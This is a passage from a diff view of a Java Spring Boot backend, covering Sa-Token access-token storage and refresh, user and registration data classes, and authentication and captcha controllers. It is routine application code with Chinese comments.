}
/**
* 计算过期时间(单位:秒)
* @param sysType
* @return
*/
private int getExpiresIn(int sysType) {
// 3600秒
int expiresIn = 3600;
// 普通用户token过期时间
if (Objects.equals(sysType, 0)) {
expiresIn = expiresIn * 24 * 30;
}
// 系统管理员的token过期时间
if (Objects.equals(sysType, 1)) {
expiresIn = expiresIn * 24 * 30;
}
return expiresIn;
}
/**
* 根据accessToken 获取用户信息
* @param accessToken accessToken
* @param needDecrypt 是否需要解密
* @return 用户信息
*/
public UserInfoInTokenBO getUserInfoByAccessToken(String accessToken, boolean needDecrypt) {
if (StrUtil.isBlank(accessToken)) {
throw new UserException("accessToken is blank");
}
String keyName = OauthCacheNames.USER_INFO + accessToken;
Object redisCache = RedisUtils.getCacheObject(keyName);
if (redisCache == null) {
throw new UserException("-2","登录过期,请重新登录");
}
return (UserInfoInTokenBO) redisCache;
}
/**
* 刷新token并返回新的token
* @param refreshToken
* @return
*/
public TokenInfoBO refreshToken(String refreshToken) {
if (StrUtil.isBlank(refreshToken)) {
throw new UserException("refreshToken is blank");
}
// 删除旧token
UserInfoInTokenBO userInfoInTokenBO = getUserInfoByAccessToken(refreshToken, false);
this.deleteCurrentToken(refreshToken);
// 保存一份新的token
return storeAccessSaToken(userInfoInTokenBO);
}
/**
* 删除指定用户的全部的token
*/
public void deleteAllToken(String sysType, Long userId) {
// 删除用户缓存
String uid = this.getUid(sysType, userId);
List<String> tokens = StpUtil.getTokenValueListByLoginId(uid);
if (!CollectionUtils.isEmpty(tokens)) {
List<String> keyNames = new ArrayList<>();
for (String token : tokens) {
keyNames.add(OauthCacheNames.USER_INFO + token);
}
RedisUtils.deleteObject(keyNames);
}
// 移除token
StpUtil.logout(userId);
}
/**
* 生成token并返回token展示信息
* @param userInfoInToken
* @return
*/
public TokenInfoVO storeAndGetVo(UserInfoInTokenBO userInfoInToken) {
if (!userInfoInToken.getEnabled()){
// 用户已禁用,请联系客服
throw new UserException("用户已禁用,请联系客服");
}
TokenInfoBO tokenInfoBO = storeAccessSaToken(userInfoInToken);
// 数据封装返回
TokenInfoVO tokenInfoVO = new TokenInfoVO();
tokenInfoVO.setAccessToken(tokenInfoBO.getAccessToken());
tokenInfoVO.setRefreshToken(tokenInfoBO.getRefreshToken());
tokenInfoVO.setExpiresIn(tokenInfoBO.getExpiresIn());
return tokenInfoVO;
}
/**
* 删除当前登录的token
* @param accessToken 令牌
*/
public void deleteCurrentToken(String accessToken) {
// 删除用户缓存
String keyName = OauthCacheNames.USER_INFO + accessToken;
RedisUtils.deleteObject(keyName);
// 移除token
StpUtil.logoutByTokenValue(accessToken);
}
/**
* 生成各系统唯一uid
* @param sysType 系统类型
* @param userId 用户id
* @return
*/
private String getUid(String sysType, Long userId) {
return sysType + ":" + userId;
}
}

View File

@@ -0,0 +1,71 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
import lombok.Data;
import java.util.Set;
/**
* 保存在token信息里面的用户信息
*
* @author 菠萝凤梨
* @date 2022/3/25 17:33
*/
@Data
public class UserInfoInTokenBO {
/**
* 用户在自己系统的用户id
*/
private Long userId;
/**
* 租户id (商家id)
*/
private Long shopId;
/**
* 昵称
*/
private String nickName;
/**
* 系统类型 0:普通用户 1系统管理员
*
*/
private Integer sysType;
/**
* 是否是管理员
*/
private Integer isAdmin;
/**
* 业务系统用户id
*/
private String bizUserId;
/**
* 权限列表
*/
private Set<String> perms;
/**
* 状态 1 正常 0 无效
*/
private Boolean enabled;
/**
* 其他Id
*/
private Long otherId;
}

View File

@@ -0,0 +1,45 @@
package org.dromara.web.common;
import io.swagger.v3.oas.annotations.media.Schema;
import jakarta.validation.constraints.NotBlank;
import lombok.Data;
import org.dromara.common.core.validate.AddGroup;
/**
* @author lh
*/
@Data
@Schema(description = "用户登录信息")
public class UserRegisterParam {
@Schema(description = "密码")
private String passWord;
@Schema(description = "邮箱")
private String userMail;
@Schema(description = "昵称")
private String nickName;
@Schema(description = "用户名")
private String userName;
@Schema(description = "手机号")
@NotBlank(message = "手机号码不能为空", groups = { AddGroup.class})
private String mobile;
@Schema(description = "头像")
private String img;
@Schema(description = "校验登陆注册验证码成功的标识")
private String checkRegisterSmsFlag;
@Schema(description = "当账户未绑定时临时的uid")
private String tempUid;
@Schema(description = "用户id")
private Long userId;
@Schema(description = "微信openId")
private String openId;
}

View File

@@ -0,0 +1,39 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
import lombok.Data;
/**
* 用户详细信息
* @author LGH
*/
@Data
public class YamiUser {
/**
* 用户ID
*/
private Long userId;
private String bizUserId;
private Boolean enabled;
/**
* 自提点Id
*/
private Long stationId;
/**
* 店铺Id
*/
private Long shopId;
}

View File

@@ -1,247 +1,247 @@
package org.dromara.web.controller; package org.dromara.web.controller;
import cn.dev33.satoken.annotation.SaIgnore; import cn.dev33.satoken.annotation.SaIgnore;
import cn.dev33.satoken.exception.NotLoginException; import cn.dev33.satoken.exception.NotLoginException;
import cn.hutool.core.codec.Base64; import cn.hutool.core.codec.Base64;
import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import me.zhyd.oauth.model.AuthResponse; import me.zhyd.oauth.model.AuthResponse;
import me.zhyd.oauth.model.AuthUser; import me.zhyd.oauth.model.AuthUser;
import me.zhyd.oauth.request.AuthRequest; import me.zhyd.oauth.request.AuthRequest;
import me.zhyd.oauth.utils.AuthStateUtils; import me.zhyd.oauth.utils.AuthStateUtils;
import org.anyline.util.encrypt.MD5Util; import org.anyline.util.encrypt.MD5Util;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.R; import org.dromara.common.core.domain.R;
import org.dromara.common.core.domain.model.LoginBody; import org.dromara.common.core.domain.model.LoginBody;
import org.dromara.common.core.domain.model.PasswordLoginBody; import org.dromara.common.core.domain.model.PasswordLoginBody;
import org.dromara.common.core.domain.model.RegisterBody; import org.dromara.common.core.domain.model.RegisterBody;
import org.dromara.common.core.domain.model.SocialLoginBody; import org.dromara.common.core.domain.model.SocialLoginBody;
import org.dromara.common.core.utils.*; import org.dromara.common.core.utils.*;
import org.dromara.common.encrypt.annotation.ApiEncrypt; import org.dromara.common.encrypt.annotation.ApiEncrypt;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.json.utils.UserUtils; import org.dromara.common.json.utils.UserUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.social.config.properties.SocialLoginConfigProperties; import org.dromara.common.social.config.properties.SocialLoginConfigProperties;
import org.dromara.common.social.config.properties.SocialProperties; import org.dromara.common.social.config.properties.SocialProperties;
import org.dromara.common.social.utils.SocialUtils; import org.dromara.common.social.utils.SocialUtils;
import org.dromara.common.sse.dto.SseMessageDto; import org.dromara.common.sse.dto.SseMessageDto;
import org.dromara.common.sse.utils.SseMessageUtils; import org.dromara.common.sse.utils.SseMessageUtils;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.bo.SysTenantBo; import org.dromara.system.domain.bo.SysTenantBo;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysTenantVo; import org.dromara.system.domain.vo.SysTenantVo;
import org.dromara.system.service.ISysClientService; import org.dromara.system.service.ISysClientService;
import org.dromara.system.service.ISysConfigService; import org.dromara.system.service.ISysConfigService;
import org.dromara.system.service.ISysSocialService; import org.dromara.system.service.ISysSocialService;
import org.dromara.system.service.ISysTenantService; import org.dromara.system.service.ISysTenantService;
import org.dromara.web.domain.vo.LoginTenantVo; import org.dromara.web.domain.vo.LoginTenantVo;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.domain.vo.TenantListVo; import org.dromara.web.domain.vo.TenantListVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.dromara.web.service.SysRegisterService; import org.dromara.web.service.SysRegisterService;
import org.springframework.validation.annotation.Validated; import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
/** /**
* 认证 * 认证
* *
* @author Lion Li * @author Lion Li
*/ */
@Slf4j @Slf4j
@SaIgnore @SaIgnore
@RequiredArgsConstructor @RequiredArgsConstructor
@RestController @RestController
@RequestMapping("/auth") @RequestMapping("/auth")
public class AuthController { public class AuthController {
private final SocialProperties socialProperties; private final SocialProperties socialProperties;
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysRegisterService registerService; private final SysRegisterService registerService;
private final ISysConfigService configService; private final ISysConfigService configService;
private final ISysTenantService tenantService; private final ISysTenantService tenantService;
private final ISysSocialService socialUserService; private final ISysSocialService socialUserService;
private final ISysClientService clientService; private final ISysClientService clientService;
private final ScheduledExecutorService scheduledExecutorService; private final ScheduledExecutorService scheduledExecutorService;
/** /**
* 登录方法 * 登录方法
* *
* @param body 登录信息 * @param body 登录信息
* @return 结果 * @return 结果
*/ */
@ApiEncrypt @ApiEncrypt
@PostMapping("/login") @PostMapping("/login")
public R<LoginVo> login(@RequestBody String body, HttpServletRequest request) { public R<LoginVo> login(@RequestBody String body, HttpServletRequest request) {
LoginBody loginBody = JsonUtils.parseObject(body, LoginBody.class); LoginBody loginBody = JsonUtils.parseObject(body, LoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
// 授权类型和客户端id // 授权类型和客户端id
String clientId = loginBody.getClientId(); String clientId = loginBody.getClientId();
String grantType = loginBody.getGrantType(); String grantType = loginBody.getGrantType();
SysClientVo client = clientService.queryByClientId(clientId); SysClientVo client = clientService.queryByClientId(clientId);
// validateCaptcha(body,request); // validateCaptcha(body,request);
// 查询不到 client 或 client 内不包含 grantType // 查询不到 client 或 client 内不包含 grantType
if (ObjectUtil.isNull(client) || !StringUtils.contains(client.getGrantType(), grantType)) { if (ObjectUtil.isNull(client) || !StringUtils.contains(client.getGrantType(), grantType)) {
log.info("客户端id: {} 认证类型:{} 异常!.", clientId, grantType); log.info("客户端id: {} 认证类型:{} 异常!.", clientId, grantType);
return R.fail(MessageUtils.message("auth.grant.type.error")); return R.fail(MessageUtils.message("auth.grant.type.error"));
} else if (!SystemConstants.NORMAL.equals(client.getStatus())) { } else if (!SystemConstants.NORMAL.equals(client.getStatus())) {
return R.fail(MessageUtils.message("auth.grant.type.blocked")); return R.fail(MessageUtils.message("auth.grant.type.blocked"));
} }
// 校验租户 // 校验租户
loginService.checkTenant(loginBody.getTenantId()); loginService.checkTenant(loginBody.getTenantId());
// 登录 // 登录
LoginVo loginVo = IAuthStrategy.login(body, client, grantType); LoginVo loginVo = IAuthStrategy.login(body, client, grantType);
Long userId = LoginHelper.getUserId(); Long userId = LoginHelper.getUserId();
scheduledExecutorService.schedule(() -> { scheduledExecutorService.schedule(() -> {
SseMessageDto dto = new SseMessageDto(); SseMessageDto dto = new SseMessageDto();
dto.setMessage("欢迎登录效果图业务后台管理系统"); dto.setMessage("欢迎登录效果图业务后台管理系统");
dto.setUserIds(List.of(userId)); dto.setUserIds(List.of(userId));
SseMessageUtils.publishMessage(dto); SseMessageUtils.publishMessage(dto);
}, 5, TimeUnit.SECONDS); }, 5, TimeUnit.SECONDS);
return R.ok(loginVo); return R.ok(loginVo);
} }
/** /**
* 第三方登录请求 * 第三方登录请求
* *
* @param source 登录来源 * @param source 登录来源
* @return 结果 * @return 结果
*/ */
@GetMapping("/binding/{source}") @GetMapping("/binding/{source}")
public R<String> authBinding(@PathVariable("source") String source, public R<String> authBinding(@PathVariable("source") String source,
@RequestParam String tenantId, @RequestParam String domain) { @RequestParam String tenantId, @RequestParam String domain) {
SocialLoginConfigProperties obj = socialProperties.getType().get(source); SocialLoginConfigProperties obj = socialProperties.getType().get(source);
if (ObjectUtil.isNull(obj)) { if (ObjectUtil.isNull(obj)) {
return R.fail(source + "平台账号暂不支持"); return R.fail(source + "平台账号暂不支持");
} }
AuthRequest authRequest = SocialUtils.getAuthRequest(source, socialProperties); AuthRequest authRequest = SocialUtils.getAuthRequest(source, socialProperties);
Map<String, String> map = new HashMap<>(); Map<String, String> map = new HashMap<>();
map.put("tenantId", tenantId); map.put("tenantId", tenantId);
map.put("domain", domain); map.put("domain", domain);
map.put("state", AuthStateUtils.createState()); map.put("state", AuthStateUtils.createState());
String authorizeUrl = authRequest.authorize(Base64.encode(JsonUtils.toJsonString(map), StandardCharsets.UTF_8)); String authorizeUrl = authRequest.authorize(Base64.encode(JsonUtils.toJsonString(map), StandardCharsets.UTF_8));
return R.ok("操作成功", authorizeUrl); return R.ok("操作成功", authorizeUrl);
} }
/** /**
* 第三方登录回调业务处理 绑定授权 * 第三方登录回调业务处理 绑定授权
* *
* @param loginBody 请求体 * @param loginBody 请求体
* @return 结果 * @return 结果
*/ */
@PostMapping("/social/callback") @PostMapping("/social/callback")
public R<Void> socialCallback(@RequestBody SocialLoginBody loginBody) { public R<Void> socialCallback(@RequestBody SocialLoginBody loginBody) {
// 获取第三方登录信息 // 获取第三方登录信息
AuthResponse<AuthUser> response = SocialUtils.loginAuth( AuthResponse<AuthUser> response = SocialUtils.loginAuth(
loginBody.getSource(), loginBody.getSocialCode(), loginBody.getSource(), loginBody.getSocialCode(),
loginBody.getSocialState(), socialProperties); loginBody.getSocialState(), socialProperties);
AuthUser authUserData = response.getData(); AuthUser authUserData = response.getData();
// 判断授权响应是否成功 // 判断授权响应是否成功
if (!response.ok()) { if (!response.ok()) {
return R.fail(response.getMsg()); return R.fail(response.getMsg());
} }
loginService.socialRegister(authUserData); loginService.socialRegister(authUserData);
return R.ok(); return R.ok();
} }
/** /**
* 取消授权 * 取消授权
* *
* @param socialId socialId * @param socialId socialId
*/ */
@DeleteMapping(value = "/unlock/{socialId}") @DeleteMapping(value = "/unlock/{socialId}")
public R<Void> unlockSocial(@PathVariable Long socialId) { public R<Void> unlockSocial(@PathVariable Long socialId) {
Boolean rows = socialUserService.deleteWithValidById(socialId); Boolean rows = socialUserService.deleteWithValidById(socialId);
return rows ? R.ok() : R.fail("取消授权失败"); return rows ? R.ok() : R.fail("取消授权失败");
} }
/** /**
* 退出登录 * 退出登录
*/ */
@PostMapping("/logout") @PostMapping("/logout")
public R<Void> logout() { public R<Void> logout() {
loginService.logout(); loginService.logout();
return R.ok("退出成功"); return R.ok("退出成功");
} }
/** /**
* 用户注册 * 用户注册
*/ */
@ApiEncrypt @ApiEncrypt
@PostMapping("/register") @PostMapping("/register")
public R<Void> register(@Validated @RequestBody RegisterBody user) { public R<Void> register(@Validated @RequestBody RegisterBody user) {
if (!configService.selectRegisterEnabled(user.getTenantId())) { if (!configService.selectRegisterEnabled(user.getTenantId())) {
return R.fail("当前系统没有开启注册功能!"); return R.fail("当前系统没有开启注册功能!");
} }
registerService.register(user); registerService.register(user);
return R.ok(); return R.ok();
} }
/** /**
* 登录页面租户下拉框 * 登录页面租户下拉框
* *
* @return 租户列表 * @return 租户列表
*/ */
@GetMapping("/tenant/list") @GetMapping("/tenant/list")
public R<LoginTenantVo> tenantList(HttpServletRequest request) throws Exception { public R<LoginTenantVo> tenantList(HttpServletRequest request) throws Exception {
// 返回对象 // 返回对象
LoginTenantVo result = new LoginTenantVo(); LoginTenantVo result = new LoginTenantVo();
boolean enable = TenantHelper.isEnable(); boolean enable = TenantHelper.isEnable();
result.setTenantEnabled(enable); result.setTenantEnabled(enable);
// 如果未开启租户这直接返回 // 如果未开启租户这直接返回
if (!enable) { if (!enable) {
return R.ok(result); return R.ok(result);
} }
List<SysTenantVo> tenantList = tenantService.queryList(new SysTenantBo()); List<SysTenantVo> tenantList = tenantService.queryList(new SysTenantBo());
List<TenantListVo> voList = MapstructUtils.convert(tenantList, TenantListVo.class); List<TenantListVo> voList = MapstructUtils.convert(tenantList, TenantListVo.class);
try { try {
// 如果只超管返回所有租户 // 如果只超管返回所有租户
if (LoginHelper.isSuperAdmin()) { if (LoginHelper.isSuperAdmin()) {
result.setVoList(voList); result.setVoList(voList);
return R.ok(result); return R.ok(result);
} }
} catch (NotLoginException ignored) { } catch (NotLoginException ignored) {
} }
// 获取域名 // 获取域名
String host; String host;
String referer = request.getHeader("referer"); String referer = request.getHeader("referer");
if (StringUtils.isNotBlank(referer)) { if (StringUtils.isNotBlank(referer)) {
// 这里从referer中取值是为了本地使用hosts添加虚拟域名方便本地环境调试 // 这里从referer中取值是为了本地使用hosts添加虚拟域名方便本地环境调试
host = referer.split("//")[1].split("/")[0]; host = referer.split("//")[1].split("/")[0];
} else { } else {
host = new URL(request.getRequestURL().toString()).getHost(); host = new URL(request.getRequestURL().toString()).getHost();
} }
// 根据域名进行筛选 // 根据域名进行筛选
List<TenantListVo> list = StreamUtils.filter(voList, vo -> List<TenantListVo> list = StreamUtils.filter(voList, vo ->
StringUtils.equalsIgnoreCase(vo.getDomain(), host)); StringUtils.equalsIgnoreCase(vo.getDomain(), host));
result.setVoList(CollUtil.isNotEmpty(list) ? list : voList); result.setVoList(CollUtil.isNotEmpty(list) ? list : voList);
return R.ok(result); return R.ok(result);
} }
public static void validateCaptcha(String body, HttpServletRequest request) { public static void validateCaptcha(String body, HttpServletRequest request) {
PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String username = loginBody.getUsername(); String username = loginBody.getUsername();
String name = MD5Util.crypto(username); String name = MD5Util.crypto(username);
UserUtils.validate(name,body,request); UserUtils.validate(name,body,request);
} }
} }

View File

@@ -1,136 +1,136 @@
package org.dromara.web.controller; package org.dromara.web.controller;
import cn.dev33.satoken.annotation.SaIgnore; import cn.dev33.satoken.annotation.SaIgnore;
import cn.hutool.captcha.AbstractCaptcha; import cn.hutool.captcha.AbstractCaptcha;
import cn.hutool.captcha.generator.CodeGenerator; import cn.hutool.captcha.generator.CodeGenerator;
import cn.hutool.core.util.IdUtil; import cn.hutool.core.util.IdUtil;
import cn.hutool.core.util.RandomUtil; import cn.hutool.core.util.RandomUtil;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.domain.R; import org.dromara.common.core.domain.R;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.reflect.ReflectUtils; import org.dromara.common.core.utils.reflect.ReflectUtils;
import org.dromara.common.mail.config.properties.MailProperties; import org.dromara.common.mail.config.properties.MailProperties;
import org.dromara.common.mail.utils.MailUtils; import org.dromara.common.mail.utils.MailUtils;
import org.dromara.common.ratelimiter.annotation.RateLimiter; import org.dromara.common.ratelimiter.annotation.RateLimiter;
import org.dromara.common.ratelimiter.enums.LimitType; import org.dromara.common.ratelimiter.enums.LimitType;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.web.config.properties.CaptchaProperties; import org.dromara.common.web.config.properties.CaptchaProperties;
import org.dromara.common.web.enums.CaptchaType; import org.dromara.common.web.enums.CaptchaType;
import org.dromara.sms4j.api.SmsBlend; import org.dromara.sms4j.api.SmsBlend;
import org.dromara.sms4j.api.entity.SmsResponse; import org.dromara.sms4j.api.entity.SmsResponse;
import org.dromara.sms4j.core.factory.SmsFactory; import org.dromara.sms4j.core.factory.SmsFactory;
import org.dromara.web.domain.vo.CaptchaVo; import org.dromara.web.domain.vo.CaptchaVo;
import org.springframework.expression.Expression; import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.validation.annotation.Validated; import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import java.time.Duration; import java.time.Duration;
import java.util.LinkedHashMap; import java.util.LinkedHashMap;
/** /**
* 验证码操作处理 * 验证码操作处理
* *
* @author Lion Li * @author Lion Li
*/ */
@SaIgnore @SaIgnore
@Slf4j @Slf4j
@Validated @Validated
@RequiredArgsConstructor @RequiredArgsConstructor
@RestController @RestController
public class CaptchaController { public class CaptchaController {
private final CaptchaProperties captchaProperties; private final CaptchaProperties captchaProperties;
private final MailProperties mailProperties; private final MailProperties mailProperties;
/** /**
* 短信验证码 * 短信验证码
* *
* @param phonenumber 用户手机号 * @param phonenumber 用户手机号
*/ */
@RateLimiter(key = "#phonenumber", time = 60, count = 1) @RateLimiter(key = "#phonenumber", time = 60, count = 1)
@GetMapping("/resource/sms/code") @GetMapping("/resource/sms/code")
public R<Void> smsCode(@NotBlank(message = "{user.phonenumber.not.blank}") String phonenumber) { public R<Void> smsCode(@NotBlank(message = "{user.phonenumber.not.blank}") String phonenumber) {
String key = GlobalConstants.CAPTCHA_CODE_KEY + phonenumber; String key = GlobalConstants.CAPTCHA_CODE_KEY + phonenumber;
String code = RandomUtil.randomNumbers(4); String code = RandomUtil.randomNumbers(4);
RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION));
// 验证码模板id 自行处理 (查数据库或写死均可) // 验证码模板id 自行处理 (查数据库或写死均可)
String templateId = ""; String templateId = "";
LinkedHashMap<String, String> map = new LinkedHashMap<>(1); LinkedHashMap<String, String> map = new LinkedHashMap<>(1);
map.put("code", code); map.put("code", code);
SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); SmsBlend smsBlend = SmsFactory.getSmsBlend("config1");
SmsResponse smsResponse = smsBlend.sendMessage(phonenumber, templateId, map); SmsResponse smsResponse = smsBlend.sendMessage(phonenumber, templateId, map);
if (!smsResponse.isSuccess()) { if (!smsResponse.isSuccess()) {
log.error("验证码短信发送异常 => {}", smsResponse); log.error("验证码短信发送异常 => {}", smsResponse);
return R.fail(smsResponse.getData().toString()); return R.fail(smsResponse.getData().toString());
} }
return R.ok(); return R.ok();
} }
/** /**
* 邮箱验证码 * 邮箱验证码
* *
* @param email 邮箱 * @param email 邮箱
*/ */
@RateLimiter(key = "#email", time = 60, count = 1) @RateLimiter(key = "#email", time = 60, count = 1)
@GetMapping("/resource/email/code") @GetMapping("/resource/email/code")
public R<Void> emailCode(@NotBlank(message = "{user.email.not.blank}") String email) { public R<Void> emailCode(@NotBlank(message = "{user.email.not.blank}") String email) {
if (!mailProperties.getEnabled()) { if (!mailProperties.getEnabled()) {
return R.fail("当前系统没有开启邮箱功能!"); return R.fail("当前系统没有开启邮箱功能!");
} }
String key = GlobalConstants.CAPTCHA_CODE_KEY + email; String key = GlobalConstants.CAPTCHA_CODE_KEY + email;
String code = RandomUtil.randomNumbers(4); String code = RandomUtil.randomNumbers(4);
RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION));
try { try {
MailUtils.sendText(email, "登录验证码", "您本次验证码为:" + code + ",有效性为" + Constants.CAPTCHA_EXPIRATION + "分钟,请尽快填写。"); MailUtils.sendText(email, "登录验证码", "您本次验证码为:" + code + ",有效性为" + Constants.CAPTCHA_EXPIRATION + "分钟,请尽快填写。");
} catch (Exception e) { } catch (Exception e) {
log.error("验证码短信发送异常 => {}", e.getMessage()); log.error("验证码短信发送异常 => {}", e.getMessage());
return R.fail(e.getMessage()); return R.fail(e.getMessage());
} }
return R.ok(); return R.ok();
} }
/** /**
* 生成验证码 * 生成验证码
*/ */
@RateLimiter(time = 60, count = 10, limitType = LimitType.IP) @RateLimiter(time = 60, count = 10, limitType = LimitType.IP)
@GetMapping("/auth/code") @GetMapping("/auth/code")
public R<CaptchaVo> getCode() { public R<CaptchaVo> getCode() {
CaptchaVo captchaVo = new CaptchaVo(); CaptchaVo captchaVo = new CaptchaVo();
boolean captchaEnabled = captchaProperties.getEnable(); boolean captchaEnabled = captchaProperties.getEnable();
if (!captchaEnabled) { if (!captchaEnabled) {
captchaVo.setCaptchaEnabled(false); captchaVo.setCaptchaEnabled(false);
return R.ok(captchaVo); return R.ok(captchaVo);
} }
// 保存验证码信息 // 保存验证码信息
String uuid = IdUtil.simpleUUID(); String uuid = IdUtil.simpleUUID();
String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + uuid; String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + uuid;
// 生成验证码 // 生成验证码
CaptchaType captchaType = captchaProperties.getType(); CaptchaType captchaType = captchaProperties.getType();
boolean isMath = CaptchaType.MATH == captchaType; boolean isMath = CaptchaType.MATH == captchaType;
Integer length = isMath ? captchaProperties.getNumberLength() : captchaProperties.getCharLength(); Integer length = isMath ? captchaProperties.getNumberLength() : captchaProperties.getCharLength();
CodeGenerator codeGenerator = ReflectUtils.newInstance(captchaType.getClazz(), length); CodeGenerator codeGenerator = ReflectUtils.newInstance(captchaType.getClazz(), length);
AbstractCaptcha captcha = SpringUtils.getBean(captchaProperties.getCategory().getClazz()); AbstractCaptcha captcha = SpringUtils.getBean(captchaProperties.getCategory().getClazz());
captcha.setGenerator(codeGenerator); captcha.setGenerator(codeGenerator);
captcha.createCode(); captcha.createCode();
// 如果是数学验证码使用SpEL表达式处理验证码结果 // 如果是数学验证码使用SpEL表达式处理验证码结果
String code = captcha.getCode(); String code = captcha.getCode();
if (isMath) { if (isMath) {
ExpressionParser parser = new SpelExpressionParser(); ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(StringUtils.remove(code, "=")); Expression exp = parser.parseExpression(StringUtils.remove(code, "="));
code = exp.getValue(String.class); code = exp.getValue(String.class);
} }
RedisUtils.setCacheObject(verifyKey, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); RedisUtils.setCacheObject(verifyKey, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION));
captchaVo.setUuid(uuid); captchaVo.setUuid(uuid);
captchaVo.setImg(captcha.getImageBase64()); captchaVo.setImg(captcha.getImageBase64());
return R.ok(captchaVo); return R.ok(captchaVo);
} }
} }

View File

@@ -0,0 +1,46 @@
package org.dromara.web.controller;
import io.swagger.v3.oas.annotations.tags.Tag;
import jakarta.validation.constraints.NotNull;
import lombok.RequiredArgsConstructor;
import org.dromara.common.core.domain.R;
import org.dromara.common.idempotent.annotation.RepeatSubmit;
import org.dromara.work.domain.bo.TpOrderBo;
import org.dromara.work.domain.vo.TpOrderVo;
import org.dromara.work.service.ITpOrderService;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
/**
* 集材社调用接口
*/
@Validated
@RequiredArgsConstructor
@RestController
@RequestMapping("/api/home")
@Tag(name = "集材社调用接口")
public class HomeController {
private final ITpOrderService tpOrderService;
/**
* 获取订单详细信息
*
* @param id 主键
*/
@GetMapping("order/{id}")
public R<TpOrderVo> getInfo(@NotNull(message = "主键不能为空") @PathVariable Long id) {
return R.ok(tpOrderService.selectById(id));
}
/**
* 更新订单信息
*/
@PostMapping("/updateOrder")
@RepeatSubmit()
public R<Boolean> edit(@RequestBody TpOrderBo bo) {
return R.ok(tpOrderService.updateInfoByBo(bo));
}
}

View File

@@ -0,0 +1,124 @@
package org.dromara.web.controller;
import cn.dev33.satoken.secure.BCrypt;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.Parameter;
import io.swagger.v3.oas.annotations.tags.Tag;
import jakarta.validation.Valid;
import lombok.RequiredArgsConstructor;
import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.MapstructUtils;
import org.dromara.web.utils.WxXcxUtils;
import org.dromara.work.domain.TzUser;
import org.dromara.work.domain.vo.TzUserVo;
import org.dromara.work.service.ITzUserService;
import org.dromara.web.common.*;
import org.springframework.validation.annotation.Validated;
